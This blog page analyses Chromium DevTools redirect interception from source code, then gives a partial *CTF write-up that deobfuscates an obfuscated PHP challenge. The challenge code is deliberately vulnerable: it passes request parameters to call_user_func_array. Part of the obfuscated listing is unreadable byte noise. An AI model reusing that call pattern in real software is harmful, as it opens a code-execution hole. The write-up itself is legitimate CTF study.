在写关于以Chrome Headless 为框架的爬虫时候。确实遇到了不少的坑,因为没有东西可以借鉴,只能去踩了。没办法遇到实在不能解释的情况只能去看Chromium的source code 了。:)

其中一个坑是关于,Network 模块拦截请求的过程。首先需要设置拦截什么?其过滤器设置方法为 Network.setRequestInterception 其中你需要做的是指定urlPattern 请求匹配表达式 ,resourceType 拦截类型,以及interceptionStage 拦截时间。

对于拦截请求的思路,我们思路肯定是放第一个 Page.navigate 的document 类型的请求过去,在一次检测过程中,我们只能放任一个navigate 类型的document过去,保证页面是稳定的。

刚开始单一页面检测,你只需要让interceptionIdid-1Network.requestIntercepted的事件让它过去就行。其余的都丢弃就行。

而后多站点同站点并发为1的检测,你会发现interceptionId 数值在不同tab下都是同一个数值递增的。如果还是用老办法是无法实现的。所以在事件监听的handler里面多加了一个变量Lastmethod 用来保存每次向devtools 输出的方法,这样只要值为Page.navigate就放这次请求过去。

但是检测的过程中遇到了一个情况,当Page.navigate遇到是是一个redirect 页面。你第一次给它放了,但是第二次因为是location 也是document ,但是按流程给它丢了。会导致页面直接about:blank,整个程序被阻塞了。

这个问题确实困扰了我一段时间。我仔细又看了一下 Network.requestIntercepted 的描述。看看有没有能标识拦截是redirect,发现确实有一个可选项 redirectUrl //Redirect location, only sent if a redirect was intercepted.

从描述来看,只要这个重定向被拦截到了,就会被输出这个可选项。但是事实并不是。我本地弄了一个location.php

1
2
3
<?php
header('location: http://127.0.0.1/location.php');
die();
chrome 默认 重定向次数不能 超过20,在这20次拦截里面没有一个 Network.requestIntercepted 带有redirectUrl 可选项的,必须得找到一个能标志是redirect请求的事件才行。其过程还有一个Network.requestWillBeSent 事件在进行重定向的时候,其中会返回一个redirectResponse 属性。唯一能标志这个请求的事件了,但是我又不想在为这个事件再写一个callbackfunction 来判断每一个requests,这样会造成性能的浪费。

我认为既然有Network.requestIntercepted 事件官方文档既然有redirectUrl 这个字段,那就肯定有情况输出的地方。Google 无获,Stackflow,google-group提问至今无获。我决定直接去看chromuim的里面到底时怎么处理。

花了一天的时候把Network的handler处理过程理顺了。首先注册NetworkHandle,每一个拦截请求都会创建一个Interceptedjob

其中 src/content/browser/devtools/protocol/network_handler.cc包含是Netwrok模块中最底层的操作。

首先来看注册拦截对象的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

DispatchResponse NetworkHandler::SetRequestInterception(
std::unique_ptr<protocol::Array<protocol::Network::RequestPattern>>
patterns) {
if (!patterns->length()) { //首先判断传进的匹配对象数组的长度
interception_handle_.reset();
if (url_loader_interceptor_) {
url_loader_interceptor_.reset();
update_loader_factories_callback_.Run();
}
return Response::OK();
}

std::vector<DevToolsNetworkInterceptor::Pattern> interceptor_patterns; //定义初始一个完整的匹配模式
for (size_t i = 0; i < patterns->length(); ++i) { //通过遍历传进来的匹配对象数组,以此传入 interceptor_patterns;
base::flat_set<ResourceType> resource_types;
std::string resource_type = patterns->get(i)->GetResourceType(""); //默认资源类型为空代表所有类型
if (!resource_type.empty()) {
if (!AddInterceptedResourceType(resource_type, &resource_types)) {
return Response::InvalidParams(base::StringPrintf(
"Cannot intercept resources of type '%s'", resource_type.c_str()));
}
}
interceptor_patterns.push_back(DevToolsNetworkInterceptor::Pattern(
patterns->get(i)->GetUrlPattern("*"), std::move(resource_types),//默认匹配时所有请求
ToInterceptorStage(patterns->get(i)->GetInterceptionStage(
protocol::Network::InterceptionStageEnum::Request))));// 拦截时间默认都是request要发送的时候
}

if (!host_)
return Response::InternalError();

if (base::FeatureList::IsEnabled(network::features::kNetworkService)) { //这里NetworkService是一个chrome的新特性,可以在启动的--enable-feature 时开启 ,这里不是本文影响重点。所以这里我开启了
if (!url_loader_interceptor_) {
url_loader_interceptor_ = std::make_unique<DevToolsURLLoaderInterceptor>(
base::BindRepeating(&NetworkHandler::RequestIntercepted,
weak_factory_.GetWeakPtr()));
url_loader_interceptor_->SetPatterns(interceptor_patterns, true); //新定义了一个url_loader_interceptor并设置了完整的匹配模式
update_loader_factories_callback_.Run();
} else {
url_loader_interceptor_->SetPatterns(interceptor_patterns, true);
}
return Response::OK();
}
这里我们不必去探究整个处理的过程。我们知道在哪里注册的匹配对象。在哪里用到了这个我们注册的匹配对象。用到这个匹配对象的地方就是我们要找的地方,即拦截请求的地方

最终调用到了 Impl::SetPatterns/src/content/browser/devtools/devtools_url_loader_interceptor.

1
2
3
4
void SetPatterns(std::vector<DevToolsNetworkInterceptor::Pattern> patterns, bool handle_auth) {
patterns_ = std::move(patterns);
handle_auth_ = handle_auth;
}

拦截对象直接赋值给了 patterns 。这里我们可以直接看看什么时候用到这个变量的

1
2
3
4
5
6
7
8
9
10
11
InterceptionStage GetInterceptionStage(const GURL& url,ResourceType resource_type) const {
InterceptionStage stage = InterceptionStage::DONT_INTERCEPT;
std::string unused;
std::string url_str =
protocol::NetworkHandler::ExtractFragment(url, &unused);
for (const auto& pattern : patterns_) {
if (pattern.Matches(url_str, resource_type))
stage |= pattern.interception_stage;
}
return stage;
}
根据请求的url 和 资源类型 返回什么时候拦截。接下来是找什么地方调用这个方法的地方

src/content/browser/devtools/devtools_url_loader_interceptor.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bool InterceptionJob::StartJobAndMaybeNotify() {
start_ticks_ = base::TimeTicks::Now();
start_time_ = base::Time::Now();

current_id_ = id_prefix_ + base::StringPrintf(".%d", redirect_count_);
interceptor_->AddJob(current_id_, this);

const network::ResourceRequest& request = create_loader_params_->request;
stage_ = interceptor_->GetInterceptionStage(
request.url, static_cast<ResourceType>(request.resource_type));

if (!(stage_ & InterceptionStage::REQUEST))
return false;

if (state_ == State::kRedirectReceived)
state_ = State::kFollowRedirect;
else
DCHECK_EQ(State::kNotStarted, state_);
NotifyClient(BuildRequestInfo(nullptr));
return true;
}

InterceptionJob::StartJobAndMaybeNotify() 中调用了这个方法,其中这个NotifyClient 就是devtools 中来发送event的操作。可以看到他是有判断的,当stagerequest的时候才会发送这个拦截的请求。默认情况下我们设置的拦截时间都是在请求发送的时候,就是request。再去找什么地方调用的StartJobAndMaybeNotify()

两个地方: InterceptionJob的构造函数和InterceptionJob::FollowRedirect

前面说到,对于拦截每一个请求的过程中,都会创建一个InterceptionJob,对于其构造函数里面调用StartJobAndMaybeNotify可以想到是用来在request请求刚刚发起的时候,这是正常情况,我想要知道的东西在第二个地方,followRedirect,在处理重定向的时候,它是怎样向client 发送这个拦截事件的。

1
2
3
4
5
6
if (interceptor_) {	
interceptor_->RemoveJob(current_id_);
redirect_count_++;
if (StartJobAndMaybeNotify())
return;
}

可以看到处理重定向的时候,先去掉了发起重定向的第一个请求的Job,然后发送拦截事件。其实这里我是多余跟到这里了。

StartJobAndMaybeNotify()中最后会NotifyClient(BuildRequestInfo(nullptr)); ,其中BuildRequestInfo()是用来构造InterceptedRequestInfo 传进去的是个空指针,来看看是怎么构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
std::unique_ptr<InterceptedRequestInfo> InterceptionJob::BuildRequestInfo(
const network::ResourceResponseHead* head) {
auto result = std::make_unique<InterceptedRequestInfo>();
result->interception_id = current_id_;
result->frame_id = frame_token_;
ResourceType resource_type =
static_cast<ResourceType>(create_loader_params_->request.resource_type);
result->resource_type = resource_type;
result->is_navigation = resource_type == RESOURCE_TYPE_MAIN_FRAME ||
resource_type == RESOURCE_TYPE_SUB_FRAME;

if (head && head->headers)
result->response_headers = head->headers;
return result;
}
可以看到只有interception_idframe_idresource_typeis_navigation,因为传进去的是空指针是没有response_headers赋值的。没有我们想要的redirectUrl

再来看看NotifyClient 是怎么发送事件的, NotifyClient ->NotifyClientWithCookies

1
2
3
4
5
6
request_info->network_request =
protocol::NetworkHandler::CreateRequestFromResourceRequest(
create_loader_params_->request, cookie_line)
...
base::BindOnce(interceptor_->request_intercepted_callback_,
std::move(request_info))
最后传递给了interceptor_->request_intercepted_callback_ 这个callback 是在NetworkHandler::SetRequestInterception设置拦截对象时,同时指定为NetworkHandler::SetRequestInterception

1
2
3
4
5
6
7
8
frontend_->RequestIntercepted(
info->interception_id, std::move(info->network_request),
info->frame_id.ToString(), ResourceTypeToString(info->resource_type),
info->is_navigation, std::move(info->is_download),
std::move(info->redirect_url), std::move(auth_challenge),
std::move(error_reason), std::move(status_code),
std::move(response_headers));
}

std::move(info->redirect_url),这里在输出的时候info 里面没有redirectUrl这个值,前面已经分析过了。

到这里断了,得换一个思路在找,这时候我想看看哪里会调用到NotifyClient,即发送拦截时间的时候。

发现其实还有三个地方:

1
2
3
InterceptionJob::OnReceiveResponse
InterceptionJob::OnReceiveRedirect
InterceptionJob::OnAuthRequest
感兴趣的肯定是InterceptionJob::OnReceiveRedirect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void InterceptionJob::OnReceiveRedirect(
const net::RedirectInfo& redirect_info,
const network::ResourceResponseHead& head) {
DCHECK_EQ(State::kRequestSent, state_);
state_ = State::kRedirectReceived;
response_metadata_ = std::make_unique<ResponseMetadata>(head);
response_metadata_->redirect_info =
std::make_unique<net::RedirectInfo>(redirect_info);

if (!(stage_ & InterceptionStage::RESPONSE)) {
client_->OnReceiveRedirect(redirect_info, head);
return;
}

std::unique_ptr<InterceptedRequestInfo> request_info =
BuildRequestInfo(&head);
request_info->redirect_url = redirect_info.new_url.spec();
NotifyClient(std::move(request_info));
}

这三个地方的调用都有一个前置条件。stage 等于 response。即返回的时候拦截并发送事件。

1
request_info->redirect_url = redirect_info.new_url.spec();

也指定了redircetUrl 参数项。这里我们可以知道了在调用 Network.requestIntercepted的时候,需要指定在请求收到的时候拦截才行。这里我们需要同时指定在请求发起 和 请求回复的 都拦截才行。会不会造成资源浪费呢,其实并不会浪费多少,因为只有第一个请求过去了,它才有response 这里才会被拦截并发送事件。

所以这里在handler 里面还需要定义一个变量用来判断下一个拦截请求是不是重定向。而后我向chromuim 的开发组意见,这里为什么不在followRedirect的时候同样也指定这是一个Redirect请求呢,╮(╯▽╰)╭ 如果有chromium的源码我真想自己改了。能省不少事,能hook 底层,就可以少写很多冗余的调用的代码。下一步我想搞一套chromium的源码,试着去改然后编译,想想就很有趣。

永远不说放弃,努力再努力,终会如愿以偿 2019年03月30日18:13:50 maple

starctf-echohub-writeup

已经不打CTF很长时间了,CTF对我来说是一种奢侈,Team里小伙伴给了我一个题,说是经过混淆过的Php文件,我一向比较喜欢解混淆的东西。于是决定安排一下这道题。

题目要求执行/readflag,

/?source=1 先看源码。 两段base64,一段是源码,一段是dockerfile。先看source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/ error_reporting(E_ALL^E_NOTICE);define('O0', 'O');?$GLOBALS[O0] = explode('|||', gzinflate(substr('? uR蒖? ?N纴R饰0贪挫-L箋WiB圬N?彥暒斺C嫔蛴{抌A鯾5TO拽觰楀?>`揕阴C凰:璙幅怅聵@L判?# 评?鈝<1犡
C蛭攕态櫕B
ず6?8 8蝑#E21黯鹖?筎XW G闵渍跬m硊w~}kv喵嘒荺'仛?8}攲?3《蛸┱j稪n??>坮?缙?ta营W叅n?>鳸謘?毌R.?辩Rzi??0奵-T梿螦埞傳V6錰L??凖磐^&)$g臭?u?Fh將mv隄N杰敓1X薂d`+冖糆0?鴂4
令姡
??硔?浰賊'忻覬鍜铞?e?竜俿澷L ',0x0a, -8)));惡耷揉粡?

file_put_contents('array.php',var_export($GLOBALS[O0],true));
require_once $GLOBALS{O0}[0];


$seed = $GLOBALS{O0}{0x001}();
$GLOBALS{O0}[0x0002]($seed);
$GLOBALS{O0}{0x00003}($GLOBALS{O0}[0x000004],$GLOBALS{O0}{0x05}(0x0000,0xffff));

$regs = array(
$GLOBALS{O0}[0x006]=>0x0,
$GLOBALS{O0}{0x0007}=>0x0,
$GLOBALS{O0}[0x00008]=>0x0,
$GLOBALS{O0}{0x000009}=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = $GLOBALS{O0}[0x0a]($func);
$GLOBALS{O0}{0x00b}($func_,$GLOBALS{O0}[0x000c]);
$plt = $GLOBALS{O0}[0x0a]($func_);


function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = $OO0O{0x0000d}($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));
悩懯澳│熰箠皥狲你捗饸脠暾覓钕锠晸拼;
$O0O0 = $OO0O[0x00000e]($OOO,0x000004);
惀墶熗;
$O0O0[$O00O-0x001] = $OO0O{0x0f}($O0O0[$O00O-0x001],0x000004,$OO0O[0x0010]);

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = $OO0O{0x00011}($OO0O[0x000012]($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = $O0O00{0x0000013};
愹秳?
$O0000 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O000O = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];
惂艥钾漯湾绑镆摻嘏舷撣脧胡搫堥邉挦⑽劳眇凛脑湠涬懋遣絺嚨肩何庈潕漭垡蠞?
$O00O0 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O00OO = $O0O00[0x0010];
悗埂絺喳剛蛯笂篁貍婿惗针墺?
return $O0O00[0x014]($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = $GLOBALS{O0}{0x0015}();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;
悓缾事淝晴栍牋;
if($canary != $canarycheck){
die($GLOBALS{O0}[0x00016]);
}

}

Class O0OO0{
private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();
愂羼跍乔ロ疫ㄐ鐥莰Ж雽鸪?
global $regs;

$this->ebp = &$regs[$OO00O{0x0007}];

$this->esp = &$regs[$OO00O[0x00008]];

$this->ebp = 0xfffe0000 + $OO00O{0x05}(0x0000,0xffff);

global $canary;
悰憰醐菥铀懗?
$this->stack[$this->ebp - 0x4] = &$canary;
惱拇;
$this->stack[$this->ebp] = $this->ebp + $OO00O{0x05}(0x0000,0xffff);
愙涠犰虌仅埬隙婏牼鋬;
$this->esp = $this->ebp - ($OO00O{0x05}(0x20,0x60)*0x000004);
悷Ν乡埖炾k踽猊浑陮洯脬科諆纥狈涔靹餂蛴廉垃;
$this->stack[$this->ebp + 0x4] = $OO00O{0x000017}($O0OOO);

if($OO000 != NULL)
$this->{$GLOBALS{O0}[0x0000018]}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = $OOO00[0x014]($OO0O0);
悞箳移笳堜致役玢藙譅艈囹琅畻阻?
for($OO0OO=0;$OO0OO<$OOO00{0x019}($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
愑天鄄臑厾嗛鞀缻衅砟埑驙屰抒闱冞;//no args in my stack haha
$OOO00[0x001a]();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return $OOOO0{0x0001b}($OOOO0{0x00011}($OOO0O));
悆挄埑滖牕抄鼹溂勑挨輱盥鸲判覗炆櫛撷潲晢ど礈判偕韤椵聣晧夔狑;

}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo $O0000O[0x00001c];

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{$GLOBALS{O0}{0x000001d}}($O0000O[0x01e]);

$OOOOO = $this->{$GLOBALS{O0}{0x001f}}($regs[$O0000O[0x01e]]);

$O00000 = $O0000O[0x00020]($O0000O[0x0010],$OOOOO);
愺暢;
echo $O00000[0];

if($O0000O{0x019}($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;
悮;
$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x0007});

$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x000021});

$this->{$GLOBALS{O0}[0x0000022]}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{$GLOBALS{O0}{0x001f}}($regs[$O000OO]);
愖;
$O00O0O = $O00OO0[0x00020]($O00OO0[0x0010],$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = $O0OO00{0x023}($regs[$O0OO00{0x000009}]);

if(isset($_REQUEST[$O00OOO])) {
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O000 = (int)$this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O0OO = $this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0OO00{0x00025}($O0O00O,$_REQUEST[$O0O0OO]);
}
$O0OO00[0x000026]($plt[$O00OOO],$O0O00O);
}
else {
$O0OO00{0x0000027}($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];
愝拟砉雎篾轃蓻諊佶③娈霌胤柪憚鶌я蜏慝环茠尽粪淬;
if( $O0OOOO{0x0001b}($O0OOOO{0x00011}($O0OOO0)) == NULL ) die($O0OOOO[0x028]);
$this->stack[$this->esp] = $O0OOO0;
惤昨腠滁颦垰犝稁侐迫唴榫骁鬀素荒;
$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
$GLOBALS{O0}[0x001a]();

}

}$GLOBALS{O0}{43}($GLOBALS{O0}{0x0029},$GLOBALS{O0}[0x0002a],0);print_R($GLOBALS{O0}{0x0029});print_R($GLOBALS{O0}[0x0002a]);

if(isset($_POST[$GLOBALS{O0}[0x000002c]])) {
$phpinfo_addr = $GLOBALS{O0}{0x02d}($GLOBALS{O0}[0x002e], $plt);
$gets = $_POST[$GLOBALS{O0}[0x000002c]];
$main_stack = new $GLOBALS{O0}[0x0002a]($phpinfo_addr, $gets);
echo $GLOBALS{O0}{0x0002f};
$main_stack->{$GLOBALS{O0}[0x000030]}();
echo $GLOBALS{O0}{0x0000031};
$main_stack->{$GLOBALS{O0}[0x032]}();
}
看起来确实有的一点乱,我用sublime打开直接给我显示的二进制文件,这里highlight.js 也无法正确的渲染。最开始的时候我没有看见enphp这个提示,我直接上手解。表面看起来也不是很难。

可以注意到开头给$GLOBALS{O0}赋值,后文中同样很多处引用到了这个变量。按照常识应该是个保护需要用到的函数,字符串的数组。那直接给它dump出来就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
)

我用的是var_export('$GLOBALS{O0}',true);,导成变量后面会用来。接下来就是变量名的替换。写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$a = file_get_contents('encode.php');
//var_dump($array_1);
function decode_se($matches){
$array_1 = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);
/*var_dump($matches[1]);
var_dump(hexdec($matches[1]));*/
//var_dump($matches[0]);
$aaa = ((int)hexdec($matches[1]));
if($aaa<0 || $aaa>50){
return $matches[0];
}
//var_dump($ma)
var_dump($array_1[(int)hexdec($matches[1])]);
return $array_1[(int)hexdec($matches[1])];
}

$decode_1 = preg_replace_callback(
'|\$GLOBALS\{O0\}[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$a);

$decode_2 = preg_replace_callback(
'|\$\w*?[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$decode_1);
file_put_contents("decode_file.php",$decode_2);
接着手动去掉一些乱码字符,把$GLOBALS{O0}过程也去掉。接着需要将,在页面显示的一部分source code 同样的添加到这部分解码代码之前。最后的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
error_reporting(E_ALL^E_NOTICE);
define('O0', 'O');

$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
| | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ \ | |
| | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || | | | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | ' ' | | || | | __'. | |
| | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || | \ `--' / | || | _| |__) | | |
| | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || | `.__.' | || | |_______/ | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'

Welcome to random stack ! Try to execute `/readflag` :P

</pre>

<form action="/decode_file.php" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo "RlJPTSB1YnVudHU6MTguMDQKClJVTiBzZWQgLWkgInMvaHR0cDpcL1wvYXJjaGl2ZS51YnVudHUuY29tL2h0dHA6XC9cL21pcnJvcnMudXN0Yy5lZHUuY24vZyIgL2V0Yy9hcHQvc291cmNlcy5saXN0ClJVTiBhcHQtZ2V0IHVwZGF0ZQpSVU4gYXB0LWdldCAteSBpbnN0YWxsIHNvZnR3YXJlLXByb3BlcnRpZXMtY29tbW9uClJVTiBhZGQtYXB0LXJlcG9zaXRvcnkgLXkgcHBhOm9uZHJlai9waHAKUlVOIGFwdC1nZXQgdXBkYXRlClJVTiBhcHQtZ2V0IC15IHVwZ3JhZGUKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB0emRhdGEKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB2aW0KUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCBhcGFjaGUyClJVTiBhcHQtY2FjaGUgc2VhcmNoICJwaHAiIHwgZ3JlcCAicGhwNy4zInwgYXdrICd7cHJpbnQgJDF9J3wgeGFyZ3MgYXB0LWdldCAteSBpbnN0YWxsClJVTiBzZXJ2aWNlIC0tc3RhdHVzLWFsbCB8IGF3ayAne3ByaW50ICQ0fSd8IHhhcmdzIC1pIHNlcnZpY2Uge30gc3RvcAoKUlVOIHJtIC92YXIvd3d3L2h0bWwvaW5kZXguaHRtbApDT1BZIHJhbmRvbXN0YWNrLnBocCAvdmFyL3d3dy9odG1sL2luZGV4LnBocApDT1BZIHNhbmRib3gucGhwIC92YXIvd3d3L2h0bWwvc2FuZGJveC5waHAKUlVOIGNobW9kIDc1NSAtUiAvdmFyL3d3dy9odG1sLwpDT1BZIGZsYWcgL2ZsYWcKQ09QWSByZWFkZmxhZyAvcmVhZGZsYWcKUlVOIGNobW9kIDU1NSAvcmVhZGZsYWcKUlVOIGNobW9kIHUrcyAvcmVhZGZsYWcKUlVOIGNobW9kIDUwMCAvZmxhZwpDT1BZIC4vcnVuLnNoIC9ydW4uc2gKQ09QWSAuL3BocC5pbmkgL2V0Yy9waHAvNy4zL2FwYWNoZTIvcGhwLmluaQpSVU4gY2htb2QgNzAwIC9ydW4uc2gKCkNNRCBbIi9ydW4uc2giXQ==";
highlight_file(__FILE__);

}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(',',get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";

}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
